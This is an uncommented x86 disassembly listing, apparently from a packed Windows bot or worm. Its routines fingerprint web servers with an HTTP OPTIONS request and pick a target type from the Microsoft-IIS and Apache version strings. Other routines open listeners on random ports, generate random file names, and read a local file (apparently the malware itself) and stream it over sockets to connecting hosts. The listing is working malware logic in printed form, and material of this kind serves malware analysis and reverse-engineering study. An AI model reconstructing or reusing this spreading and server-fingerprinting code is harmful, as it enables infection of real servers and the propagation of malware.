loc_40E482:				; CODE XREF: sub_40E399+F3j
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		xor	[ecx], bl
		inc	eax
		cmp	eax, edi
		jb	short loc_40E482


loc_40E48E:				; CODE XREF: sub_40E399+E7j
		lea	eax, [edi+1Ch]
		pop	ebx


loc_40E492:				; CODE XREF: sub_40E399+37j
		pop	edi
		pop	esi
		leave
		retn
sub_40E399	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E496	proc near		; CODE XREF: sub_40E707+Fp
					; sub_40E829+51p ...

var_18C		= byte ptr -18Ch
var_E4		= byte ptr -0E4h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18Ch
		push	esi
		push	edi
		push	8
		push	4
		call	sub_40B459
		push	7Ah
		push	61h
		mov	edi, eax
		call	sub_40B459
		add	esp, 10h
		mov	[ebp+var_10], al
		push	1
		pop	esi
		cmp	edi, esi
		jz	short loc_40E4D6


loc_40E4C2:				; CODE XREF: sub_40E496+3Ej
		push	7Ah
		push	61h
		call	sub_40B459
		mov	[ebp+esi+var_10], al
		inc	esi
		pop	ecx
		cmp	esi, edi
		pop	ecx
		jnz	short loc_40E4C2


loc_40E4D6:				; CODE XREF: sub_40E496+2Aj
		lea	eax, [ebp+esi+var_10]
		push	offset dword_413620
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	esi, 17Ch
		lea	eax, [ebp+var_18C]
		push	esi
		push	offset dword_417B38
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_18C]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_403D9D
		add	esp, 28h
		pop	edi
		pop	esi
		leave
		retn
sub_40E496	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E523	proc near		; CODE XREF: sub_40E707+EAp
					; sub_40E829+75p ...

var_240		= byte ptr -240h
var_40		= byte ptr -40h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_419EBC, edi
		push	1
		pop	ebx
		jnz	short loc_40E5AE
		cmp	off_418E20, edi
		mov	dword_419EBC, ebx
		jz	short loc_40E5AE
		mov	eax, offset off_418E20
		xor	esi, esi


loc_40E551:				; CODE XREF: sub_40E523+81j
		push	20h
		push	dword ptr [eax]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4059C2
		push	20h
		lea	eax, [ebp+var_40]
		push	off_417CC0[esi]
		push	eax
		call	sub_4059C2
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40B5A8
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40B5A8
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41177E	; strcmp
		add	esp, 28h
		test	eax, eax
		jnz	short loc_40E5A8
		add	esi, 0Ch
		cmp	off_418E20[esi], edi
		lea	eax, off_418E20[esi]
		jnz	short loc_40E551
		jmp	short loc_40E5AE
; ---------------------------------------------------------------------------


loc_40E5A8:				; CODE XREF: sub_40E523+70j
		mov	dword_419EC0, ebx


loc_40E5AE:				; CODE XREF: sub_40E523+17j
					; sub_40E523+25j ...
		cmp	dword_419EC0, edi
		jnz	short loc_40E613
		push	offset aRb	; "rb"
		push	offset dword_419FE0
		call	sub_411506	; fopen
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40E615
		mov	esi, 200h
		push	edi
		push	esi
		lea	eax, [ebp+var_240]
		push	ebx
		push	eax
		call	sub_411510	; fread
		add	esp, 10h


loc_40E5E4:				; CODE XREF: sub_40E523+E7j
		test	eax, eax
		jz	short loc_40E60C
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		push	[ebp+arg_0]
		call	sub_403D9D
		push	edi
		push	esi
		lea	eax, [ebp+var_240]
		push	ebx
		push	eax
		call	sub_411510	; fread
		add	esp, 1Ch
		jmp	short loc_40E5E4
; ---------------------------------------------------------------------------


loc_40E60C:				; CODE XREF: sub_40E523+C3j
		push	edi
		call	sub_411500	; fclose
		pop	ecx


loc_40E613:				; CODE XREF: sub_40E523+91j
		mov	eax, ebx


loc_40E615:				; CODE XREF: sub_40E523+A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E523	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E61A	proc near		; CODE XREF: sub_40E829+57p
					; sub_40E8E1+12p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_403E1F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E637
		leave
		retn
; ---------------------------------------------------------------------------


loc_40E637:				; CODE XREF: sub_40E61A+19j
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_412258	; recv
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40E61A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E64D	proc near		; CODE XREF: sub_40E829+67p
					; sub_40E8E1+22p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		xor	edi, edi
		xor	eax, eax
		cmp	off_417DC6, edi
		jz	short loc_40E69C
		mov	ecx, offset off_417DC6


loc_40E65F:				; CODE XREF: sub_40E64D+21j
		mov	edx, [ecx-8]
		cmp	edx, [esp+4+arg_0]
		jz	short loc_40E672
		add	ecx, 3Ah
		inc	eax
		cmp	[ecx], edi
		jnz	short loc_40E65F
		jmp	short loc_40E69C
; ---------------------------------------------------------------------------


loc_40E672:				; CODE XREF: sub_40E64D+19j
		imul	eax, 3Ah
		push	esi
		mov	esi, [esp+8+arg_4]
		lea	edi, dword_417D98[eax]
		push	3Ah
		push	edi
		push	esi
		call	sub_4114D0	; memcpy
		push	esi
		call	sub_40B5E1
		add	esi, 13h
		push	esi
		call	sub_40B5E1
		add	esp, 14h
		pop	esi


loc_40E69C:				; CODE XREF: sub_40E64D+Bj
					; sub_40E64D+23j
		mov	eax, edi
		pop	edi
		retn
sub_40E64D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E6A0	proc near		; CODE XREF: sub_40E707+103p
					; sub_40E829+8Ap ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		mov	eax, [ebp+arg_0]
		push	esi
		add	eax, 2Ah
		push	1
		push	eax
		call	sub_407216
		mov	esi, eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_8]
		call	sub_4034DE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40E6E3
		lea	eax, [ebp+var_100]
		push	offset aUnknown	; "unknown"
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_40E6E3:				; CODE XREF: sub_40E6A0+2Ej
		lea	eax, [ebp+var_100]
		inc	esi
		push	eax
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	offset unk_4151D8
		push	offset dword_418E50
		call	sub_409659
		add	esp, 18h
		pop	esi
		leave
		retn
sub_40E6A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E707	proc near		; CODE XREF: sub_40ECD6+119p

var_244		= dword	ptr -244h
var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_1A		= dword	ptr -1Ah
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 244h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40E496
		push	3Ah
		lea	eax, [ebp+var_40]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_2D]
		push	eax
		call	sub_40B5E1
		mov	edi, 203h
		lea	eax, [ebp+var_244]
		push	edi
		push	0
		push	eax
		call	sub_4114E8	; memset
		add	esp, 24h
		and	[ebp+var_4], 0
		mov	ebx, 3E8h
		mov	esi, 200h


loc_40E760:				; CODE XREF: sub_40E707+DFj
		push	ebx
		push	[ebp+arg_4]
		call	sub_403E1F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E7DF
		lea	eax, [ebp+var_244+3]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	sub_403DB2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E824
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_40E7CE
		jbe	short loc_40E7A4


loc_40E793:				; CODE XREF: sub_40E707+9Bj
		mov	edx, [ebp+ecx+var_244]
		cmp	edx, [ebp+var_1A]
		jz	short loc_40E7EE
		inc	ecx
		cmp	ecx, eax
		jb	short loc_40E793


loc_40E7A4:				; CODE XREF: sub_40E707+8Aj
		lea	eax, [ebp+eax+var_244]
		push	3
		push	eax
		lea	eax, [ebp+var_244]
		push	eax
		call	sub_4114D0	; memcpy
		push	esi
		lea	eax, [ebp+var_244+3]
		push	0
		push	eax
		call	sub_4114E8	; memset
		add	esp, 18h
		jmp	short loc_40E7DF
; ---------------------------------------------------------------------------


loc_40E7CE:				; CODE XREF: sub_40E707+88j
		push	edi
		lea	eax, [ebp+var_244]
		push	ecx
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch


loc_40E7DF:				; CODE XREF: sub_40E707+66j
					; sub_40E707+C5j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3Ch
		jnz	loc_40E760
		jmp	short loc_40E824
; ---------------------------------------------------------------------------


loc_40E7EE:				; CODE XREF: sub_40E707+96j
		push	[ebp+arg_4]
		call	sub_40E523
		test	eax, eax
		pop	ecx
		jz	short loc_40E824
		push	offset dword_417D2C
		lea	eax, [ebp+var_40]
		push	[ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_40E6A0
		add	esp, 10h
		push	1
		push	[ebp+arg_4]
		call	dword_412210	; shutdown
		push	ebx
		call	dword_4120A4	; Sleep


loc_40E824:				; CODE XREF: sub_40E707+7Ej
					; sub_40E707+E5j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E707	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E829	proc near		; CODE XREF: sub_40ECD6+134p

var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_44		= byte ptr -44h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 848h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403B44
		add	esp, 0Ch
		mov	esi, eax
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], 3Ch
		push	1
		mov	[ebp+var_4], edi
		pop	ebx
		mov	[ebp+var_844], esi
		push	eax
		lea	eax, [ebp+var_848]
		push	edi
		push	eax
		push	edi
		push	edi
		mov	[ebp+var_848], ebx
		call	dword_412214	; select
		cmp	eax, ebx
		push	esi
		jnz	short loc_40E8D0
		call	sub_40E496
		push	esi
		call	sub_40E61A
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jz	short loc_40E8CF
		lea	ecx, [ebp+var_44]
		push	ecx
		push	eax
		call	sub_40E64D
		pop	ecx
		mov	ebx, eax
		pop	ecx
		cmp	ebx, edi
		push	esi
		jz	short loc_40E8D0
		call	sub_40E523
		test	eax, eax
		pop	ecx
		jz	short loc_40E8CF
		push	offset dword_417D30
		lea	eax, [ebp+var_44]
		push	esi
		push	eax
		push	ebx
		call	sub_40E6A0
		add	esp, 10h
		push	1
		push	esi
		call	dword_412210	; shutdown
		push	3E8h
		call	dword_4120A4	; Sleep


loc_40E8CF:				; CODE XREF: sub_40E829+60j
					; sub_40E829+7Dj
		push	esi


loc_40E8D0:				; CODE XREF: sub_40E829+4Fj
					; sub_40E829+73j
		call	sub_403D92
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E829	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E8DB	proc near		; CODE XREF: sub_40ECD6:loc_40EDAAp
		mov	eax, offset dword_419EC4
		retn
sub_40E8DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E8E1	proc near		; DATA XREF: sub_40E951+AAo

var_3C		= byte ptr -3Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	esi
		call	sub_40E496
		push	esi
		call	sub_40E61A
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E942
		lea	ecx, [ebp+var_3C]
		push	ecx
		push	eax
		call	sub_40E64D
		pop	ecx
		mov	edi, eax
		pop	ecx
		test	edi, edi
		push	esi
		jz	short loc_40E943
		call	sub_40E523
		test	eax, eax
		pop	ecx
		jz	short loc_40E942
		push	offset dword_417D34
		lea	eax, [ebp+var_3C]
		push	esi
		push	eax
		push	edi
		call	sub_40E6A0
		add	esp, 10h
		push	1
		push	esi
		call	dword_412210	; shutdown
		push	3E8h
		call	dword_4120A4	; Sleep


loc_40E942:				; CODE XREF: sub_40E8E1+1Bj
					; sub_40E8E1+38j
		push	esi


loc_40E943:				; CODE XREF: sub_40E8E1+2Ej
		call	sub_403D92
		pop	ecx
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40E8E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E951	proc near		; DATA XREF: sub_40EA2F+83o

var_1B0		= dword	ptr -1B0h
var_1AC		= byte ptr -1ACh
var_1A6		= byte ptr -1A6h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	edi
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_1AC]
		push	1
		push	eax
		call	sub_403644
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		jnz	short loc_40E9A1
		push	[ebp+var_1B0]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		jmp	loc_40EA2A
; ---------------------------------------------------------------------------


loc_40E9A1:				; CODE XREF: sub_40E951+3Bj
		lea	eax, [ebp+var_1AC]
		push	esi
		push	eax
		mov	eax, [ebp+var_1B0]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1A6]
		push	offset dword_417D38
		push	eax
		call	sub_4096CB
		lea	eax, [ebp+var_1AC]
		push	eax
		push	offset dword_419EC4
		call	sub_4114B8	; _mbscpy
		add	esp, 18h


loc_40E9D6:				; CODE XREF: sub_40E951+A3j
					; sub_40E951+B8j ...
		mov	eax, [ebp+var_1B0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40EA14
		push	3E8h
		push	edi
		call	sub_403767
		mov	esi, eax
		pop	ecx
		cmp	esi, 0FFFFFFFFh
		pop	ecx
		jz	short loc_40E9D6
		test	esi, esi
		jz	short loc_40EA14
		push	esi
		push	offset sub_40E8E1
		call	sub_406C5D
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E9D6
		push	esi
		call	sub_403D92
		pop	ecx
		jmp	short loc_40E9D6
; ---------------------------------------------------------------------------


loc_40EA14:				; CODE XREF: sub_40E951+8Fj
					; sub_40E951+A7j
		push	edi
		call	sub_40392A
		push	[ebp+var_1B0]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		pop	ecx
		pop	esi


loc_40EA2A:				; CODE XREF: sub_40E951+4Bj
		pop	edi
		leave
		retn	4
sub_40E951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA2F	proc near		; CODE XREF: sub_407A76+97Ep
					; sub_40EE23+1FBp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1ADh
		call	sub_4114C4	; malloc
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short locret_40EAC2
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		mov	esi, 0FFFFh
		mov	ebx, 401h
		jz	short loc_40EA62
		push	[ebp+arg_4]
		call	sub_41151C	; atoi
		jmp	short loc_40EA6A
; ---------------------------------------------------------------------------


loc_40EA62:				; CODE XREF: sub_40EA2F+27j
		push	esi
		push	ebx
		call	sub_40B459
		pop	ecx


loc_40EA6A:				; CODE XREF: sub_40EA2F+31j
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40EA75
		cmp	edi, esi
		jbe	short loc_40EA80


loc_40EA75:				; CODE XREF: sub_40EA2F+40j
		push	esi
		push	ebx
		call	sub_40B459
		pop	ecx
		mov	edi, eax
		pop	ecx


loc_40EA80:				; CODE XREF: sub_40EA2F+44j
		mov	esi, [ebp+var_4]
		push	0Ah
		lea	eax, [esi+4]
		push	eax
		push	edi
		call	sub_41192A	; _itoa
		mov	ebx, [ebp+arg_0]
		lea	eax, [esi+0Ah]
		push	ebx
		push	eax
		call	sub_40457C
		xor	eax, eax
		add	esp, 14h
		cmp	[ebx+18Bh], al
		push	edi
		push	offset dword_417D70
		setz	al
		push	eax
		push	esi
		push	offset sub_40E951
		call	sub_406D58
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx

locret_40EAC2:				; CODE XREF: sub_40EA2F+14j
		leave
		retn
sub_40EA2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EAC4	proc near		; CODE XREF: kkrunchy:004112AFp
		push	ebx
		xor	ebx, ebx
		cmp	off_417DC6, ebx
		jz	short loc_40EB14
		push	esi
		mov	esi, offset off_417DC6


loc_40EAD5:				; CODE XREF: sub_40EAC4+4Dj
		mov	eax, [esi-8]
		and	eax, 0FFh
		sub	[esi], eax
		and	dword ptr [esi-4], 0


loc_40EAE3:				; CODE XREF: sub_40EAC4+29j
					; sub_40EAC4+3Ej
		call	sub_40B480
		test	eax, eax
		mov	[esi-8], eax
		jz	short loc_40EAE3
		xor	edx, edx
		mov	ecx, offset word_417DBE


loc_40EAF6:				; CODE XREF: sub_40EAC4+44j
		cmp	dword ptr [ecx+8], 0
		jz	short loc_40EB0A
		cmp	ebx, edx
		jz	short loc_40EB04
		cmp	eax, [ecx]
		jz	short loc_40EAE3


loc_40EB04:				; CODE XREF: sub_40EAC4+3Aj
		inc	edx
		add	ecx, 3Ah
		jmp	short loc_40EAF6
; ---------------------------------------------------------------------------


loc_40EB0A:				; CODE XREF: sub_40EAC4+36j
		add	esi, 3Ah
		inc	ebx
		cmp	dword ptr [esi], 0
		jnz	short loc_40EAD5
		pop	esi


loc_40EB14:				; CODE XREF: sub_40EAC4+9j
		pop	ebx
		retn
sub_40EAC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB16	proc near		; CODE XREF: sub_40ECD6+6Ap

var_808		= byte ptr -808h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 808h
		push	ebx
		push	esi
		push	edi
		push	16h
		push	offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
		push	[ebp+arg_0]
		call	sub_403D9D
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40ECCF
		xor	ebx, ebx
		mov	esi, 800h
		push	ebx
		lea	eax, [ebp+var_808]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_412258	; recv
		cmp	eax, ebx
		jz	loc_40ECCF
		cmp	eax, 0FFFFFFFFh
		jz	loc_40ECCF
		cmp	eax, esi
		jz	loc_40ECCF
		mov	[ebp+eax+var_808], bl
		lea	eax, [ebp+var_808]
		push	offset aServer	; "Server:"
		push	eax
		mov	[ebp+var_8], ebx
		call	sub_411528	; strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40ECCF
		lea	ecx, [ebp+var_8]
		mov	esi, offset dword_413F54
		push	ecx
		push	esi
		push	eax
		call	sub_405E4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40ECCF
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	ebx
		call	sub_405E4F
		mov	edi, eax
		add	esp, 0Ch
		cmp	edi, ebx
		jz	loc_40ECCF
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	ebx
		call	sub_405E4F
		push	0Dh
		push	offset aMicrosoftIis ; "Microsoft-IIS"
		push	edi
		mov	[ebp+arg_0], eax
		call	sub_411930	; _strnicmp
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40EC58
		lea	eax, [ebp+arg_0]
		mov	[ebp+var_4], ebx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
		push	edi
		mov	[ebp+arg_0], ebx
		call	sub_411522	; sscanf
		add	esp, 10h
		push	4
		pop	eax
		cmp	[ebp+var_4], eax
		jnz	short loc_40EC27
		cmp	[ebp+arg_0], ebx
		jnz	loc_40ECCF
		jmp	loc_40ECD1
; ---------------------------------------------------------------------------


loc_40EC27:				; CODE XREF: sub_40EB16+101j
		cmp	[ebp+var_4], 5
		jnz	short loc_40EC44
		cmp	[ebp+arg_0], ebx
		jnz	short loc_40EC36
		push	3
		jmp	short loc_40EC55
; ---------------------------------------------------------------------------


loc_40EC36:				; CODE XREF: sub_40EB16+11Aj
		cmp	[ebp+arg_0], 5
		jnz	loc_40ECCF
		push	2
		jmp	short loc_40EC55
; ---------------------------------------------------------------------------


loc_40EC44:				; CODE XREF: sub_40EB16+115j
		cmp	[ebp+var_4], 6
		jnz	loc_40ECCF
		cmp	[ebp+arg_0], ebx
		jnz	short loc_40ECCF
		push	1


loc_40EC55:				; CODE XREF: sub_40EB16+11Ej
					; sub_40EB16+12Cj
		pop	eax
		jmp	short loc_40ECD1
; ---------------------------------------------------------------------------


loc_40EC58:				; CODE XREF: sub_40EB16+DDj
		cmp	[ebp+arg_0], ebx
		jz	short loc_40ECCF
		push	6
		push	offset aApache	; "Apache"
		push	edi
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40ECCF
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], ebx
		push	eax
		push	offset dword_418148
		push	edi
		call	sub_411522	; sscanf
		push	6
		push	offset dword_418140
		push	[ebp+arg_0]
		call	sub_411930	; _strnicmp
		mov	esi, eax
		add	esp, 18h
		neg	esi
		sbb	esi, esi
		inc	esi
		cmp	esi, 1
		jnz	short loc_40ECB7
		push	7
		push	offset dword_418138
		push	[ebp+arg_0]
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40ECCF


loc_40ECB7:				; CODE XREF: sub_40EB16+189j
		cmp	[ebp+var_4], 1
		jz	short loc_40ECC3
		cmp	[ebp+var_4], 2
		jnz	short loc_40ECCF


loc_40ECC3:				; CODE XREF: sub_40EB16+1A5j
		xor	eax, eax
		cmp	esi, ebx
		setnz	al
		add	eax, 5
		jmp	short loc_40ECD1
; ---------------------------------------------------------------------------


loc_40ECCF:				; CODE XREF: sub_40EB16+2Dj
					; sub_40EB16+4Ej ...
		xor	eax, eax


loc_40ECD1:				; CODE XREF: sub_40EB16+10Cj
					; sub_40EB16+140j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EB16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECD6	proc near		; DATA XREF: sub_40EE23+3B3o
					; sub_40F461+1C2o

var_14C		= dword	ptr -14Ch
var_11A		= dword	ptr -11Ah
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= byte ptr -10Ah
var_8A		= dword	ptr -8Ah
var_86		= byte ptr -86h
var_6		= byte ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	14Ch
		lea	eax, [ebp+var_14C]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		push	1
		push	[ebp+var_10E]
		call	sub_40344B
		lea	eax, [ebp+var_10A]
		push	eax
		push	[ebp+var_10E]
		call	sub_4034DE
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40ED31
		push	[ebp+var_10E]
		call	sub_403D70
		jmp	loc_40EE1C
; ---------------------------------------------------------------------------


loc_40ED31:				; CODE XREF: sub_40ECD6+49j
		cmp	[ebp+var_112], 0
		jz	short loc_40ED52
		push	[ebp+var_10E]
		call	sub_40EB16
		cmp	[ebp+var_112], eax
		pop	ecx
		jnz	loc_40EE11


loc_40ED52:				; CODE XREF: sub_40ECD6+62j
		cmp	[ebp+var_8A], 1
		jnz	short loc_40ED6C
		lea	eax, [ebp+var_6]
		push	eax
		push	[ebp+var_10E]
		call	sub_403530
		jmp	short loc_40EDB9
; ---------------------------------------------------------------------------


loc_40ED6C:				; CODE XREF: sub_40ECD6+83j
		cmp	[ebp+var_8A], 2
		jnz	short loc_40EDAA
		lea	eax, [ebp+var_6]
		push	0Ah
		push	eax
		push	0FFFFh
		push	401h
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41192A	; _itoa
		lea	eax, [ebp+var_10A]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 14h
		jmp	short loc_40EDCD
; ---------------------------------------------------------------------------


loc_40EDAA:				; CODE XREF: sub_40ECD6+9Dj
		call	sub_40E8DB
		push	eax
		lea	eax, [ebp+var_6]
		push	eax
		call	sub_4114B8	; _mbscpy


loc_40EDB9:				; CODE XREF: sub_40ECD6+94j
		lea	eax, [ebp+var_86]
		push	offset dword_41A2E8
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 10h


loc_40EDCD:				; CODE XREF: sub_40ECD6+D2j
		lea	eax, [ebp+var_14C]
		push	eax
		call	[ebp+var_11A]
		cmp	[ebp+var_8A], 1
		jnz	short loc_40EDF6
		push	[ebp+var_10E]
		push	[ebp+var_14C]
		call	sub_40E707
		jmp	short loc_40EE0F
; ---------------------------------------------------------------------------


loc_40EDF6:				; CODE XREF: sub_40ECD6+10Bj
		cmp	[ebp+var_8A], 2
		jnz	short loc_40EE11
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_40E829


loc_40EE0F:				; CODE XREF: sub_40ECD6+11Ej
		pop	ecx
		pop	ecx


loc_40EE11:				; CODE XREF: sub_40ECD6+76j
					; sub_40ECD6+127j
		push	[ebp+var_10E]
		call	sub_403D92


loc_40EE1C:				; CODE XREF: sub_40ECD6+56j
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40ECD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE23	proc near		; DATA XREF: sub_40F2C2+18Do

var_758		= qword	ptr -758h
var_740		= byte ptr -740h
var_640		= byte ptr -640h
var_63F		= byte ptr -63Fh
var_540		= byte ptr -540h
var_53F		= byte ptr -53Fh
var_440		= dword	ptr -440h
var_43C		= byte ptr -43Ch
var_429		= byte ptr -429h
var_37E		= dword	ptr -37Eh
var_2F4		= dword	ptr -2F4h
var_2F0		= byte ptr -2F0h
var_1E8		= byte ptr -1E8h
var_1DA		= dword	ptr -1DAh
var_1D6		= dword	ptr -1D6h
var_1D2		= dword	ptr -1D2h
var_1CE		= byte ptr -1CEh
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_43		= byte ptr -43h
var_37		= byte ptr -37h
var_36		= byte ptr -36h
var_28		= byte ptr -28h
var_14		= qword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 740h
		push	esi
		push	edi
		push	2C9h
		lea	eax, [ebp+var_2F4]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_4059F0
		add	esp, 14h
		test	al, al
		jz	short loc_40EE78
		push	14Ch
		lea	eax, [ebp+var_440]
		push	0
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch
		jmp	loc_40EF02
; ---------------------------------------------------------------------------


loc_40EE78:				; CODE XREF: sub_40EE23+38j
		xor	esi, esi
		mov	edi, offset dword_417D98


loc_40EE7F:				; CODE XREF: sub_40EE23+8Aj
		lea	eax, [ebp+var_28]
		push	edi
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_411924	; _strcmpi
		add	esp, 14h
		test	eax, eax
		jz	short loc_40EEAF
		inc	esi
		add	edi, 3Ah
		jmp	short loc_40EE7F
; ---------------------------------------------------------------------------


